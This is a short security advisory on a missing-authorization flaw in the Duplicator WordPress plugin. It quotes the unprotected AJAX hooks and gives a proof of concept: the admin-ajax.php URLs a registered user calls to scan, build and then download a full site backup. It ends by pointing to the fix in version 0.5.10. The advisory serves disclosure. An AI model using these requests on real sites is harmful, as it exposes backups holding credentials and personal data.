1. Description

Every registered user can create and download backup files.

File: duplicator\duplicator.php
add_action('wp_ajax_duplicator_package_scan', 'duplicator_package_scan');
add_action('wp_ajax_duplicator_package_build', 'duplicator_package_build');
add_action('wp_ajax_duplicator_package_delete', 'duplicator_package_delete');
add_action('wp_ajax_duplicator_package_report', 'duplicator_package_report');

2. Proof of Concept

Login as regular user (created using wp-login.php?action=register) then start scan:

http://wordpress-url/wp-admin/admin-ajax.php?action=duplicator_package_scan

After that you can build backup:

http://wordpress-url/wp-admin/admin-ajax.php?action=duplicator_package_build

This function will return json with backup name inside File key.

You can download backup using:

http://wordpress-url/wp-snapshots/%file_name_from_json%

3. Solution:

Update to version 0.5.10
